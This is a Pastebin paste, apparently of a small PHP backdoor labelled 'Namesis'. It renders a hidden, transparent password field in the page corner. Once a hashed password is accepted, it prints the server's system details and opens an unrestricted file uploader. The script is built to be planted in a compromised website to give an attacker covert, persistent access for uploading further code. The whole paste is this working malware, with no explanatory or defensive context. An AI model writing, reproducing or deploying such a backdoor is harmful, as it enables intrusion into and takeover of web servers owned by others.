Advertisement
Guest User

g

a guest
Aug 7th, 2018
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. <?php
  3. session_start();
  4. if($_SESSION["adm"]){
  5. echo '<b>Namesis<br><br>'.php_uname().'<br></b>';echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Success !!!</b><br><br>'; }   else { echo '<b>Upload Fail !!!</b><br><br>'; }}
  6. }
  7. if($_POST["p"]){
  8. $p = $_POST["p"];
  9. $pa = md5(sha1($p));
  10. if($pa=="c80beb352879e1895e0db86801b8283b"){
  11. $_SESSION["adm"] = 1;
  12. }
  13. }
  14. ?>
  15. <form action="" method="post">
  16. <input style="border:0;background:transparent;position:absolute;bottom:0;right:0;" type="password" name="p" required />
  17. </form>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement